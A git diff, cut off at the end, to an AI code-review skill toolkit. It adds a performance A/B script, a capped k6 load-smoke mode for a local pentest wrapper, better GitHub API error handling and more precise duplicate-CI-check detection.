diff --git a/.claude/skills/INDEX.md b/.claude/skills/INDEX.md index ea59a9ed9..bbeaf776d 100644 --- a/.claude/skills/INDEX.md +++ b/.claude/skills/INDEX.md @@ -148,9 +148,10 @@ Run `python3 /scripts/` (`bash` for `.sh`). `name: purpose — argu - review_checks.sh: run local, read-only analyzers over the files changed since… — [--base REF] [--tests] [--history]… - score_review.py: Score a review's findings against a ground-truth file: recall… — GROUND_TRUTH.json FINDINGS.json… - security_verify.py: verify-or-drop triage of security findings. — [findings.json|-] [override-file] +- sibling_sweep.py: leads for an incomplete fix: a call changed here, its… — --repo DIR --base REF [--head REF] - tenant_scope_check.py: heuristic lead-finder for cross-tenant authz holes in Prisma… — error. Reads files only; writes nothing. - token_differ.py: the tier-1 design<->app design-token VALUE parity gate. — --design --app [--map… -- No documented CLI: app_pentest.sh, binaries_gate.py, ci_cost_lint.py, closes_lint.py, identity_gate.py, invisible_chars.py, reaper_lint.py, review_feedback.py, source_scan_tests.py, supply_chain_check.sh, validate_status_claims.py +- No documented CLI: app_pentest.sh, binaries_gate.py, ci_cost_lint.py, closes_lint.py, identity_gate.py, invisible_chars.py, perf_compare.sh, reaper_lint.py, review_feedback.py, source_scan_tests.py, supply_chain_check.sh, validate_status_claims.py ### growth-analytics - readout_check.py: deterministic pass/fail checks on a finished two-arm A/B… — READOUT.json diff --git a/.claude/skills/agentic-delivery/scripts/heavy_gate.py b/.claude/skills/agentic-delivery/scripts/heavy_gate.py index 0c1c68eb2..ec7865134 100644 --- a/.claude/skills/agentic-delivery/scripts/heavy_gate.py +++ b/.claude/skills/agentic-delivery/scripts/heavy_gate.py @@ -8,7 +8,7 @@ What it does: if the command starts a test runner, a build, a whole-repo security scanner (semgrep scan|ci|--config, trivy fs|repo|image|config|rootfs, osv-scanner, grype, checkov, gitleaks detect|git|dir, trufflehog git|filesystem|github), a JS dependency -install (npm|pnpm|yarn|bun ci|i|install) or a Perun scan/CI entrypoint (review_checks.sh, run-ci-tests.sh, app_pentest.sh, run as `bash PATH` +install (npm|pnpm|yarn|bun ci|i|install) or a Perun scan/CI entrypoint (review_checks.sh, run-ci-tests.sh, app_pentest.sh, perf_compare.sh, run as `bash PATH` or directly) (DEFAULT_PATTERNS, or the newline-separated regexes in $PERUN_HEAVY_PATTERNS, each matched at the start of a shell segment, after runner wrappers are stripped), it denies the call when host_probe.decide(lane_type="heavy") says HOLD (load1 > cores or low free RAM; swap is not read, one sample shows no trend) or when the machine-wide heavy leases already fill the @@ -50,7 +50,7 @@ r"semgrep( .*)? (scan|ci|--config)\b", r"trivy( .*)? (fs|repo|image|config|rootfs)\b", r"(osv-scanner|checkov) \S", r"grype (?!(db|version|help)(\s|$))\S", r"gitleaks( .*)? (detect|git|dir)\b", r"trufflehog( .*)? (git|filesystem|github)\b", r"(npm|pnpm|yarn|bun) (ci|i|install)\b", - r"((ba|z)?sh )?(\S*/)?(review_checks|run-ci-tests|app_pentest)\.sh\b", + r"((ba|z)?sh )?(\S*/)?(review_checks|run-ci-tests|app_pentest|perf_compare)\.sh\b", ) PUNCT = ";()<>|&\n" # Joins backslash-newline (group 1 = the escaped pairs kept: an odd run of backslashes before the newline, an even run is escaped backslashes) and diff --git a/.claude/skills/agentic-delivery/scripts/pipeline_hub.py b/.claude/skills/agentic-delivery/scripts/pipeline_hub.py index a8b2ab82e..4cb703ac9 100644 --- a/.claude/skills/agentic-delivery/scripts/pipeline_hub.py +++ b/.claude/skills/agentic-delivery/scripts/pipeline_hub.py @@ -26,10 +26,15 @@ Exit codes: 0 ok, 2 usage, an unreadable or unwritable --data, a --root that is not a checkout of --repo, or no data. Side effects: `gh api` calls (read-only); `--data` writes that file. -Limits: durations are job wall time (started to completed); a duplicate is the same check suite key in two enforced CI -steps (a PR or merge-group gate; a build, install or generate step is never flagged), so a matrix or OS split also -shows up: each recommendation says to check that first. Jobs match on workflow and displayed name, with a matrix -suffix ignored. Duplicates are read from the workflow files under --root, so --root must be a checkout of --repo. +Limits: durations are job wall time (started to completed); a duplicate is the same check command (script and +arguments) in two enforced CI steps (a PR or merge-group gate; a build, install or generate step is never flagged), so a +matrix or OS split also shows up: each recommendation says to check that first. The same script with different +arguments is an advisory (check one covers the other before dropping), never a drop, and is not priced. The API times +steps, not suites: a saving is priced only for a step that runs that one command; for any other step the suite's own +time is unmeasured and the recommendation says to time it locally. Jobs match on workflow and displayed name, with a +matrix suffix ignored. Duplicates are read from the workflow files under --root, so --root must be a checkout of --repo. +A run whose jobs or attempts call fails is named in the notes and its job data stays missing until a later run with +the same --data retries it; a failed runs-list or pulls call stops collection and says so. """ from __future__ import annotations @@ -59,19 +64,37 @@ def is_check(key): return key.split()[0] in pp._RUN or bool(CHECK.search(key.lower())) +def api_error(err): + """One line for a failed `gh api` call's stderr: gh's own ` (HTTP nnn)` line, else the JSON body's + "message" (what the curl fallback keeps, after `HTTP nnn:`) with that status, else the last line. Never the bare + `}` that ends a multi-line body. Blank stderr gives "gh api failed".""" + err = (err or "").strip() or "gh api failed" + m = re.search(r"^gh: (.+ \(HTTP \d+\))$", err, re.M) + if m: + return m.group(1)[:300] + m = re.search(r'"message":\s*"((?:[^"\\]|\\.)*)"', err) + if m: + st = re.match(r"HTTP (\d+)", err) + return (m.group(1) + (" (HTTP %s)" % st.group(1) if st else ""))[:300] + return err.splitlines()[-1][:300] + + def gh_get(path, params=None): - """GET one REST page through bare `gh api` (curl fallback on gh's macOS-sandbox TLS failure) -> parsed JSON.""" + """GET one REST page through bare `gh api` (curl fallback on gh's macOS-sandbox TLS failure) -> parsed JSON. + A failure raises OSError with `api_error`'s one-line reason.""" args = ["gh", "api", path + ("?" + urllib.parse.urlencode(params) if params else "")] p = subprocess.run(args, capture_output=True, text=True) rc, out, err = gh_rest.fallback(args, p.returncode, p.stdout, p.stderr) if rc: - raise OSError((err or "gh api failed").strip().splitlines()[-1][:300]) + raise OSError(api_error(err)) return json.loads(out) def collect(repo, bundle, n_runs=30, n_pulls=30, get=gh_get): - """Fill `bundle` {runs, jobs, prior, pulls, limits} from the API, reusing what is there. A failed call stops - collection and is recorded in bundle['limits'] (rerun with the same --data to resume); it never raises.""" + """Fill `bundle` {runs, jobs, prior, pulls, limits} from the API, reusing what is there. A failed jobs or attempts + call skips that run and is recorded once in bundle['limits'] with the run id and the API message (a later run + with the same --data retries it); a failed runs-list or pulls call stops collection and is recorded there too + (rerun with the same --data to resume). It never raises.""" for k, v in (("runs", []), ("jobs", {}), ("prior", {}), ("pulls", [])): bundle.setdefault(k, v) bundle["limits"] = [] @@ -83,13 +106,17 @@ def collect(repo, bundle, n_runs=30, n_pulls=30, get=gh_get): bundle["runs"] = [pp._run_row(r) for r in got.get("workflow_runs", [])][:n_runs] for r in bundle["runs"]: rid = str(r["id"]) - if rid not in bundle["jobs"]: - got = get("%s/actions/runs/%s/jobs" % (base, rid), {"per_page": 100, "filter": "latest"}) - bundle["jobs"][rid] = [pp._job_row(j) for j in got.get("jobs", [])] - for a in range(1, (r.get("run_attempt") or 1)): # earlier attempts: which job failed before the re-run - if "%s/%d" % (rid, a) not in bundle["prior"]: - got = get("%s/actions/runs/%s/attempts/%d/jobs" % (base, rid, a), {"per_page": 100}) - bundle["prior"]["%s/%d" % (rid, a)] = [pp._job_row(j) for j in got.get("jobs", [])] + try: # one run's endpoint can fail every time (an HTTP 502 on its /jobs): name it, go on to the next run + if rid not in bundle["jobs"]: + got = get("%s/actions/runs/%s/jobs" % (base, rid), {"per_page": 100, "filter": "latest"}) + bundle["jobs"][rid] = [pp._job_row(j) for j in got.get("jobs", [])] + for a in range(1, (r.get("run_attempt") or 1)): # earlier attempts: which job failed before the re-run + if "%s/%d" % (rid, a) not in bundle["prior"]: + got = get("%s/actions/runs/%s/attempts/%d/jobs" % (base, rid, a), {"per_page": 100}) + bundle["prior"]["%s/%d" % (rid, a)] = [pp._job_row(j) for j in got.get("jobs", [])] + except (OSError, ValueError) as e: + # ponytail: an outage adds one note per remaining run; add a consecutive-failure stop if that shows up + bundle["limits"].append("run %s skipped, its jobs or attempts call failed: %s" % (rid, e)) for page in range(1, (n_pulls + 9) // 10 + 1): # a PR object is large: small pages survive a body-cutting proxy if len(bundle["pulls"]) >= n_pulls or bundle.get("pulls_pages", 0) >= page: continue @@ -192,11 +219,16 @@ def oss_jobs(repo, root, run=subprocess.run): def dup_jobs(root, jobs): """Check suites (suite keys from `pipeline_profile.commands`, `is_check` only) run by two or more enforced CI steps - (a PR or merge-group gate: a push-to-main run is the post-merge copy, not a duplicate). Keep the copy in the job - with the lower p50 (red sooner); drop the others and price each from its step's median, split evenly over the - suites that step runs (an even split, not a measurement). Job rows match on workflow and job name.""" + (a PR or merge-group gate: a push-to-main run is the post-merge copy, not a duplicate). The same normalized command + (script and arguments, as `commands` prints it) in two steps is a duplicate (`identical` True): keep the copy in the + job with the lower p50 (red sooner) and drop the others. A suite whose steps all run it with different arguments is + only an advisory (`identical` False, `saved_s` None): one may not cover the other. (Beside a repeated command, a + copy with other arguments is left out: only the repeat is reported.) A step's median prices a copy only when that + step runs that one command; the API times whole steps, never one suite, so for any other step + `step_p50_s` is None (unmeasured) rather than an even split of the step; `saved_s` sums the measured copies (None + when none is). Job rows match on workflow and job name.""" wdir = os.path.join(root, ".github", "workflows") - seen, nkeys, names = {}, {}, {} + seen, ncmd, names = {}, {}, {} # seen: suite key -> normalized command -> {step location} for fn in sorted(os.listdir(wdir)) if os.path.isdir(wdir) else []: if not fn.endswith((".yml", ".yaml")): continue @@ -208,31 +240,37 @@ def dup_jobs(root, jobs): for st in job["steps"]: if st["run"] and pp._wf_stage(wf, st, job)[1]: loc = (fn, job["name"], pp.step_label(st)) - for _, key, _b in pp.commands(st["run"]): - nkeys.setdefault(loc, set()).add(key) # the split counts every suite the step runs + for cmd, key, _b in pp.commands(st["run"]): + ncmd[loc] = ncmd.get(loc, 0) + 1 # every suite command counts: the step median covers them all if is_check(key): - seen.setdefault(key, {})[loc] = 1 + seen.setdefault(key, {}).setdefault(cmd, {})[loc] = 1 def find(fn, name): return [j for j in jobs if j["workflow"] in names[fn] and (j["job"] == name or j["job"].startswith(name + " ("))] + groups = [] # (suite key, identical, {step location}), one per command that repeats + for key, by_cmd in sorted(seen.items()): + # no command repeats: the same suite with different arguments in each step is only an advisory + groups += [(key, True, locs) for locs in by_cmd.values() if len(locs) > 1] or [ + (key, False, dict.fromkeys(loc for locs in by_cmd.values() for loc in locs))] out = [] - for key, locs in sorted(seen.items()): + for key, identical, locs in groups: if len(locs) < 2: continue rows = [] for fn, job, step in locs: m = find(fn, job) - sec = [s / len(nkeys[(fn, job, step)]) for j in m for s in [j["step_p50"].get(step)] if s is not None] + sec = [s for j in m for s in [j["step_p50"].get(step)] if s is not None and ncmd[(fn, job, step)] == 1] rows.append({"workflow_file": fn, "job": job, "step": step, "job_p50_s": max((j["p50_s"] or 0 for j in m), default=None) if m else None, "step_p50_s": max(sec) if sec else None}) order = sorted(range(len(rows)), key=lambda i: (rows[i]["job_p50_s"] is None, rows[i]["job_p50_s"] or 0, i)) keep = rows[order[0]] drop = [rows[i] for i in order[1:]] - out.append({"suite": key, "keep": keep, "drop": drop, - "saved_s": sum(r["step_p50_s"] or 0 for r in drop) if any(r["step_p50_s"] for r in drop) else None}) + out.append({"suite": key, "identical": identical, "keep": keep, "drop": drop, + "saved_s": sum(r["step_p50_s"] or 0 for r in drop) + if identical and any(r["step_p50_s"] for r in drop) else None}) return out @@ -253,12 +291,15 @@ def recommend(wfs, jobs, dups, lead, flake_jobs=None): if all(x["step_p50_s"] is not None and x["step_p50_s"] < DUP_FLOOR_S for x in drops): continue for x in drops: + if d["identical"]: + tail = (". Run it once: keep the first, drop the second, unless the copies are a matrix or OS split; %s." + % ("saves at most about %s per run (its step's median)" % f(x["step_p50_s"]) if x["step_p50_s"] + else "the suite's own time is unmeasured: time it locally to price the saving")) + else: + tail = "; same suite, different arguments: check one covers the other before dropping." rec.append({"kind": "duplicate-job", "target": x["job"], - "text": "suite `%s` runs in job `%s` (step `%s`) and again in job `%s` (step `%s`, %s). Run it " - "once: keep the first, drop the second, unless the copies are a matrix or OS split%s." - % (d["suite"], k["job"], k["step"], x["job"], x["step"], x["workflow_file"], - "; saves about %s per run (even split over its step's suites)" % f(x["step_p50_s"]) - if x["step_p50_s"] else "")}) + "text": "suite `%s` runs in job `%s` (step `%s`) and again in job `%s` (step `%s`, %s)%s" + % (d["suite"], k["job"], k["step"], x["job"], x["step"], x["workflow_file"], tail)}) if jobs: j = jobs[0] rec.append({"kind": "slowest-job", "target": j["job"], @@ -309,8 +350,10 @@ def render(rep): "n/a" if j["flakes"] is None else j["flakes"]) for j in rep["slowest_jobs"]] L += ["", "DUPLICATE CHECKS (same suite in 2+ CI steps)"] - L += [" %s: keep in `%s`; also in %s" % (d["suite"], d["keep"]["job"], - ", ".join("`%s`" % x["job"] for x in d["drop"])) for d in rep["duplicates"]] + names = lambda xs: ", ".join("`%s`" % x["job"] for x in xs) # noqa: E731 + L += [" %s: keep in `%s`; also in %s" % (d["suite"], d["keep"]["job"], names(d["drop"])) if d["identical"] else + " %s: different arguments in %s (advisory: check one covers the other)" + % (d["suite"], names([d["keep"]] + d["drop"])) for d in rep["duplicates"]] L += [" none found"] * (not rep["duplicates"]) ld = rep["lead"] L += ["", "PR LEAD TIME prs=%d open-to-merge p50=%s p90=%s push-to-merge=%s post-green wait=%s merged/day=%s" % ( diff --git a/.claude/skills/deep-code-review/INDEX-scripts.md b/.claude/skills/deep-code-review/INDEX-scripts.md index 42d5eb86b..b52520456 100644 --- a/.claude/skills/deep-code-review/INDEX-scripts.md +++ b/.claude/skills/deep-code-review/INDEX-scripts.md @@ -28,6 +28,7 @@ Generated by `scripts/skill_index.py` (do not hand-edit). The script half of `IN | `scripts/outline.py` | cheap symbol map (line ranges) so a lane reads only the ranges it needs, not the whole file. | outline.py FILE... | | `scripts/parity_differ.py` | the two-sided design<->app parity gate: sections first, then the element inventory of every matched… | parity_differ.py --design --app [--accept [--accept-rev REV]] [--min-pairs N] [--style [--style-min… | | `scripts/partition_diff.py` | split a unified diff into whole-file review chunks, deterministically. | partition_diff.py [--diff FILE \| --base REF] [--max-lines N] [--split-hunks] [--skip-glob GLOB ...] [--out-dir DIR] par… | +| `scripts/perf_compare.sh` | perf_compare.sh [--runs N] [--base REF] [--json FILE] -- CMD...: hyperfine A/B of CMD in a detached… | — | | `scripts/post_review.sh` | post review findings to a PR (opt-in). | post_review.sh [--post] | | `scripts/provision_tools.sh` | make review_checks.sh scanners actually run. | provision_tools.sh [--print] [DIR] | | `scripts/reaper_lint.py` | a heuristic, opt-in lint that flags a bulk/fleet-wide process-reaper pattern in a cleanup script be… | — | @@ -35,6 +36,7 @@ Generated by `scripts/skill_index.py` (do not hand-edit). The script half of `IN | `scripts/review_feedback.py` | repo-local accept/dismiss ledger for review findings. | — | | `scripts/score_review.py` | Score a review's findings against a ground-truth file: recall and precision under an FP budget. | score_review.py GROUND_TRUTH.json FINDINGS.json [--max-fp N] | | `scripts/security_verify.py` | verify-or-drop triage of security findings. | security_verify.py [findings.json\|-] [override-file] Input: JSON list of findings on stdin or a file, or a semgrep --js… | +| `scripts/sibling_sweep.py` | leads for an incomplete fix: a call changed here, its unchanged siblings there. | sibling_sweep.py --repo DIR --base REF [--head REF] | | `scripts/source_scan_tests.py` | flag a "test" that reads UI source as TEXT instead of rendering it, the class of test that cannot o… | — | | `scripts/supply_chain_check.sh` | supply_chain_check.sh [--online] [--fail-on critical\|high\|moderate\|low] [--scorecard owner/repo] [-… | — | | `scripts/tenant_scope_check.py` | heuristic lead-finder for cross-tenant authz holes in Prisma server code (report-only, stdlib only). | error. Reads files only; writes nothing. ponytail: text scan, not an AST -- regex literals with quotes or a backtick in… | diff --git a/.claude/skills/deep-code-review/INDEX.md b/.claude/skills/deep-code-review/INDEX.md index deb52d632..1bc7571c9 100644 --- a/.claude/skills/deep-code-review/INDEX.md +++ b/.claude/skills/deep-code-review/INDEX.md @@ -13,7 +13,7 @@ Generated by `scripts/skill_index.py` (do not hand-edit; rerun it after changing | `references/a11y-live.md` | the target or diff renders a loading / skeleton / spinner region (a shared loader or a hand-rolled… | 1722 | | `references/api-contracts-streaming.md` | the target serves or consumes a WebSocket, SSE or gRPC-streaming endpoint (server, client or SDK wr… | 1852 | | `references/api-contracts.md` | reviewing public HTTP/GraphQL/RPC surfaces, webhooks, message/ queue payloads, SDK boundaries, or a… | 5364 | -| `references/app-pentest.md` | the target app is running (local or an owned staging host) and you want a black-box pass with prove… | 1598 | +| `references/app-pentest.md` | the target app is running (local or an owned staging host) and you want a black-box pass with prove… | 2033 | | `references/appsec-approvals.md` | the target or diff performs a consequential or high-value action: a payout, wire transfer, payout-d… | 976 | | `references/appsec-corroboration.md` | a finding claims that input reaches a sink, that a secret is live, that a dependency version is vul… | 650 | | `references/appsec-crypto.md` | the target or diff encrypts or decrypts (cipher mode, IV, nonce), compares a signature, token, API… | 2675 | @@ -98,7 +98,7 @@ Generated by `scripts/skill_index.py` (do not hand-edit; rerun it after changing | `references/method-diff.md` | the review scope is a DIFF or FILE (a large or blast-radius-flagged DIFF, a fix that is itself the… | 1968 | | `references/method-lenses.md` | method.md routes here: a call site may bypass or re-derive a shared helper, component or predicate,… | 1935 | | `references/method-report.md` | writing the Phase 5 report (delivery shape, out-of-tree vs in-repo, ledger and claim reconciliation… | 2292 | -| `references/method-situational.md` | method.md routes here (its "Situational Phase 1 checks" bullet and its perceived-absent-premise par… | 11057 | +| `references/method-situational.md` | method.md routes here (its "Situational Phase 1 checks" bullet and its perceived-absent-premise par… | 11099 | | `references/method.md` | executing a review: after stating SCOPE / START_SHA / COVERAGE_LEDGER, work the phases in order. | 7484 | | `references/migration-parity.md` | the reference you are matching is a prototype / mockup / design export (a static page, a design-too… | 7610 | | `references/mobile-appsec.md` | the target is (or ships) a native mobile client — an iOS (Swift / Objective-C) or Android (Kotlin /… | 6478 | @@ -108,7 +108,7 @@ Generated by `scripts/skill_index.py` (do not hand-edit; rerun it after changing | `references/overlays.md` | recommending or installing an overlay, or wiring this skill's gates into a target's CI. | 359 | | `references/parallel-audit.md` | the target is large enough to review across parallel subagents (a FULL run of a large repo, or seve… | 9948 | | `references/performance-db-cost.md` | the target has a database, makes external/API/LLM calls, runs batch jobs, or has any hot path where… | 7774 | -| `references/performance-latency-depth.md` | the target has a server request handler, page loader or resolver that assembles one response from s… | 3309 | +| `references/performance-latency-depth.md` | the target has a server request handler, page loader or resolver that assembles one response from s… | 3364 | | `references/privacy-by-design.md` | the product will face a privacy-regulated user (EU/UK, California, children, and the like) or an en… | 1231 | | `references/privacy-compliance.md` | the target touches personal data (names, emails, device/user ids, location, biometrics, free text t… | 4365 | | `references/product-impact.md` | a change claims a user or business outcome (faster, easier, more conversions, fewer support tickets… | 1404 | @@ -138,7 +138,7 @@ Generated by `scripts/skill_index.py` (do not hand-edit; rerun it after changing | `references/testing-ui.md` | the target renders a UI or ships browser / E2E specs. | 4868 | | `references/threat-modeling.md` | a change adds a trust boundary, an auth path, a data flow to a new party, an agent or tool capabili… | 2574 | | `references/time-date-correctness.md` | reviewing anything that stores, computes, schedules, or renders timestamps, durations, recurring ev… | 4809 | -| `references/tool-hub.md` | a review should lean on external scanners via the tool hub (workflows, Python, Go, SBOM/lockfiles,… | 2538 | +| `references/tool-hub.md` | a review should lean on external scanners via the tool hub (workflows, Python, Go, SBOM/lockfiles,… | 3613 | | `references/ux-components.md` | the target or diff renders one concept in more than one place: a shared component or design token,… | 7235 | | `references/ux-dataviz.md` | the target or diff renders a chart, sparkline, heat-map or calendar grid, a KPI / metric delta, a c… | 2787 | | `references/ux-gates.md` | a UI change is claimed verified on screenshot evidence, the project's auto-merge or CI policy gates… | 3756 | @@ -152,4 +152,4 @@ Generated by `scripts/skill_index.py` (do not hand-edit; rerun it after changing ## Scripts -36 scripts. Read `INDEX-scripts.md` when you need a script (a trigger and CLI per script). `../INDEX.md`, `### deep-code-review`, has only each one-line purpose and arguments. +38 scripts. Read `INDEX-scripts.md` when you need a script (a trigger and CLI per script). `../INDEX.md`, `### deep-code-review`, has only each one-line purpose and arguments. diff --git a/.claude/skills/deep-code-review/references/app-pentest.md b/.claude/skills/deep-code-review/references/app-pentest.md index de9e7f50c..d4b394479 100644 --- a/.claude/skills/deep-code-review/references/app-pentest.md +++ b/.claude/skills/deep-code-review/references/app-pentest.md @@ -29,6 +29,16 @@ Each failure becomes one lead per code and operation (`id` is the code, `title` Limits: requests are unauthenticated (no `--auth` or `--header`), TLS verification stays on (an https target needs a certificate this machine trusts), and the stateful phase is not run. +## Load smoke (`--load`) + +`bash scripts/app_pentest.sh --load [--vus N] [--secs N] URL` runs one k6 smoke test (needs `k6` on PATH; flags checked against `k6 run --help`, v2.3.0, 2026-10-30). It runs alone: `--active` or `--openapi` with it is refused and no scanner starts. The target rules above apply unchanged (loopback or an `APP_PENTEST_ALLOW` host; resolved addresses print as `ips`). + +- Defaults: 5 VUs for 15 s. Hard caps: 20 VUs and 60 s. A value over a cap, zero, or not a plain whole number is refused with exit 2, never clamped; `--vus` and `--secs` without `--load` are refused too. +- Each VU does one GET of the URL (5 s timeout), then sleeps 100 ms: at most about 10 requests per second per VU. No redirects are followed, TLS is verified, no usage report is sent, and k6 runs under `env -i` with its own temp HOME and an empty config, so no `K6_*` or proxy variable reaches it. +- Output: `{"target","ips","load":null|{"vus","secs","requests","p50_ms","p95_ms","error_rate"},"tools":{"k6"},"note"}`, with no `leads` key. `error_rate` is the share of failed requests (transport errors and HTTP status 400 and up). +- `tools.k6`: `ran` (usable summary), `skipped` (k6 not installed: `NOT CHECKED: k6 (install: brew install k6)` on stderr), `error` (k6 failed or exited non-zero, no readable summary, or every request failed; then `load` keeps the counts but `p50_ms` and `p95_ms` are null, because timings of failed requests mean nothing). The exit code is 0 in all three. +- These are smoke numbers from one client on one machine, often the one running the server. Compare them with a baseline taken the same way; never present them as a capacity or SLO claim. A run with no errors proves nothing about behavior under real load. + ## Leads, not findings Output is JSON: `{"target","ips","active","tools":{"zap","nuclei","schemathesis"},"openapi":null|{"spec","ips","tested","errored"},"leads":[{"tool","id","title","severity","url","verified":false}],"note"}`. Every lead is a hint. Before it reaches a report: diff --git a/.claude/skills/deep-code-review/references/method-situational.md b/.claude/skills/deep-code-review/references/method-situational.md index 518b9de8e..b23f478ce 100644 --- a/.claude/skills/deep-code-review/references/method-situational.md +++ b/.claude/skills/deep-code-review/references/method-situational.md @@ -5,7 +5,7 @@ Read this when `method.md` routes here (its "Situational Phase 1 checks" bullet **Phase 1 — gate disputes and target-shape preflights.** - **On a `DIFF`, run `scripts/review_checks.sh --base ` first.** It runs only the installed local - analyzers (shellcheck, `bash -n`, py_compile, ruff/pyflakes, `node --check`, tsc, `go vet`, jq, `invisible-chars` (NUL/C0, bidi, zero-width), `committed-data` (10+ distinct non-reserved emails in a file, counts only, and a test-path row leads `likely fixture:` when half or more are placeholder-style or on reserved domains; a `.` row for 50+ spread thin; `not-checked` for compressed or columnar files), plus + analyzers (shellcheck, `bash -n`, py_compile, ruff/pyflakes, `node --check`, tsc, `go vet`, jq, `invisible-chars` (NUL/C0, bidi, zero-width), `committed-data` (10+ distinct non-reserved emails in a file, counts only, and a test-path row leads `likely fixture:` when half or more are placeholder-style or on reserved domains; a `.` row for 50+ spread thin; `not-checked` for compressed or columnar files), `sibling-sweep` (unchanged non-test call sites of a function whose call arguments the diff changed elsewhere: the sibling a fix missed; `scripts/sibling_sweep.py`), plus gitleaks, trufflehog (offline, `--no-verification`: unverified; a row is detector, file, line, never the secret), semgrep with the repo's rules or else the bundled taint rules plus p/default (`REVIEW_SEMGREP_REGISTRY=0` drops the registry pack), trivy and osv-scanner offline, osv online with `REVIEW_OSV=1`) on the changed files and prints findings JSON; `--history` scans commit history, `--tests` adds the declared `REVIEW_TEST_CMD`; stderr ends with a one-line ran/skipped summary. Its findings are leads: verify each against the code before reporting, report a `not run` line or `not-checked` row as unchecked surface, and never read an empty diff --git a/.claude/skills/deep-code-review/references/performance-latency-depth.md b/.claude/skills/deep-code-review/references/performance-latency-depth.md index 09ec35c33..c5092ec8f 100644 --- a/.claude/skills/deep-code-review/references/performance-latency-depth.md +++ b/.claude/skills/deep-code-review/references/performance-latency-depth.md @@ -2,6 +2,8 @@ Read this when the target has a server request handler, page loader or resolver that assembles one response from several async calls, or an application-level cache layer (memoization, Redis, CDN). It fires at FILE or FULL scope on what the repo contains, not only on a diff. Moved verbatim from `performance-db-cost.md`; "above" and "below" in these bullets resolve against that file's *Indexes*, *Necessity*, *N+1* and *External / API / LLM calls* bullets, and its 🚩 grep list stays there. +To measure a timing claim, run `scripts/perf_compare.sh` (hyperfine A/B against the base; rules and how to read the verdict: `tool-hub.md`), or `scripts/app_pentest.sh --load` for a running endpoint (`app-pentest.md`). + ## Handler await ordering - **Sequential `await`s with no data dependency are an accidental serialization, not diff --git a/.claude/skills/deep-code-review/references/tool-hub.md b/.claude/skills/deep-code-review/references/tool-hub.md index 4ace106ae..a617d7159 100644 --- a/.claude/skills/deep-code-review/references/tool-hub.md +++ b/.claude/skills/deep-code-review/references/tool-hub.md @@ -1,6 +1,6 @@ # Tool hub: routing to installed open-source security tools -Read this when a review should lean on external scanners via the tool hub (workflows, Python, Go, SBOM/lockfiles, IaC, Dockerfiles, MCP or skill configs), when `review_checks.sh` prints `NOT CHECKED:`, or before adding or opting in to a routed tool or skill. +Read this when a review should lean on external scanners via the tool hub (workflows, Python, Go, SBOM/lockfiles, IaC, Dockerfiles, MCP or skill configs), when `review_checks.sh` prints `NOT CHECKED:`, or before adding or opting in to a routed tool or skill, or to time a command against its base or smoke-load a running app (Perf tools). Perun routes; it does not reimplement or vendor these tools. `scripts/review_checks.sh` holds one registry row per tool (`hub=` array: name, flags status, batch or per-file mode, file-match regex, license class, install hint) and reuses its existing timebox, heavy lease, exit-code and fail-closed JSON shape check (`sjson`). Findings are leads: verify each against the code. @@ -12,7 +12,7 @@ Perun routes; it does not reimplement or vendor these tools. `scripts/review_che - `review_checks.sh --full` scans every tracked file (base = git's empty tree) instead of a diff; gitleaks then runs once over the working tree (`--no-git -s .`), not HEAD. gitleaks honours the repo's `.gitleaksignore` fingerprints as of BASE (HEAD under `--full`). - Flags status `verified` means the flags below were checked against the tool's official docs on 2026-10-27. `unverified` rows are skipped by default (one `NOT CHECKED` line), never run on a guess. - License class `route-only`: never bundled or copied into this repo; run only when the user installed it. No tool is marked `bundle-ok` because licenses were not checked this session. -- Network: zizmor runs `--offline`; grype runs with `GRYPE_DB_AUTO_UPDATE=false` and `GRYPE_CHECK_FOR_APP_UPDATE=false` (no cached DB is a crash, so not-run); checkov runs `--skip-download` and `CKV_SKIP_PACKAGE_UPDATE_CHECK=true`; gosec runs with `GOPROXY=off`, because loading `./...` packages may otherwise fetch Go modules (modules missing from the local cache then surface as `Golang errors` and read as not checked). osv-scanner runs offline on a warm DB (no flag), online only with `REVIEW_OSV=1`, else not run. trivy (not a hub tool) runs with `TRIVY_DISABLE_TELEMETRY=true`. Env vars, not flags, so an older tool ignores them; each was a denied host (check.trivy.dev, toolbox-data.anchore.io, pypi.org) under a network-denying sandbox (trivy 0.76.1, grype 0.121.0, checkov 3.3.30, 2026-10-30). +- Network: zizmor runs `--offline`; grype runs with `GRYPE_DB_AUTO_UPDATE=false` and `GRYPE_CHECK_FOR_APP_UPDATE=false` (no cached DB is a crash, so not-run); checkov runs `--skip-download` and `CKV_SKIP_PACKAGE_UPDATE_CHECK=true`; gosec runs with `GOPROXY=off`, because loading `./...` packages may otherwise fetch Go modules (modules missing from the local cache then surface as `Golang errors` and read as not checked). osv-scanner runs offline on a warm DB (no flag), online only with `REVIEW_OSV=1`, else not run. trivy (not a hub tool) runs with `TRIVY_DISABLE_TELEMETRY=true`. Env vars, not flags, so an older tool ignores them; each was a denied host (check.trivy.dev, toolbox-data.anchore.io, pypi.org) under a network-denying sandbox (trivy 0.76.1, grype 0.121.0, checkov 3.3.30, 2026-10-30). guarddog 3.2.0 (no offline flag) refreshes its top-package lists from github.com, hugovk.github.io and packages.ecosyste.ms at startup (seen under a dead proxy), so it runs with `GUARDDOG_TOP_PACKAGES_CACHE_LOCATION` pointing at fresh stub lists, which a local scan never reads; the `--no-sandbox` retry, which drops guarddog's own network block, also sets a dead proxy. - Behind a TLS-breaking proxy, pre-seed the vuln DBs (`provision_tools.sh --print` does it, see Provisioning): `REVIEW_OSV_DB_DIR` (osv-scanner offline run; an empty dir prints the exact warm command and stays NOT CHECKED; an exported `OSV_SCANNER_LOCAL_DB_CACHE_DIRECTORY` that already holds a seeded database is used the same way, and `REVIEW_OSV=1` still asks the API instead. A cache with no database is never used: with none, osv-scanner prints empty results, not an error, which would read as clean) and `REVIEW_TRIVY_CACHE` (trivy `--cache-dir`; a missing DB stays not-run and prints `trivy --cache-dir DIR image --download-db-only`). `--repo DIR` replaces a `cd DIR &&` chain. In `supply_chain_check.sh`, a package npm marks `dev` (or osv puts in a dev/build/test group) is noted `dev-only` and capped at moderate. - A batch tool (explicit file list) that returns a row for a file outside that list means the paths did not line up and findings may be lost: `not run: (N of M rows named a file outside the scanned list; findings may be missing)`, never a clean (gosec is exempt: it scans `./...`). Paths are compared in the changed-file form, so a tool that echoes `./.github/...` still lands on `.github/...`. - Secrets and code snippets in tool output are never read into findings (bandit's `issue_text` is skipped too: its B105 text embeds the secret value; trufflehog runs with `--sarif` because its default and `--json` output print the secret, as Raw, RawV2, Redacted and SecretParts in JSON). @@ -38,10 +38,27 @@ The agent sandbox denies installs and most network, so the owner provisions scan | `grype` | SBOM files only (`sbom:`; a `.json` name with `sbom`, `bom`, 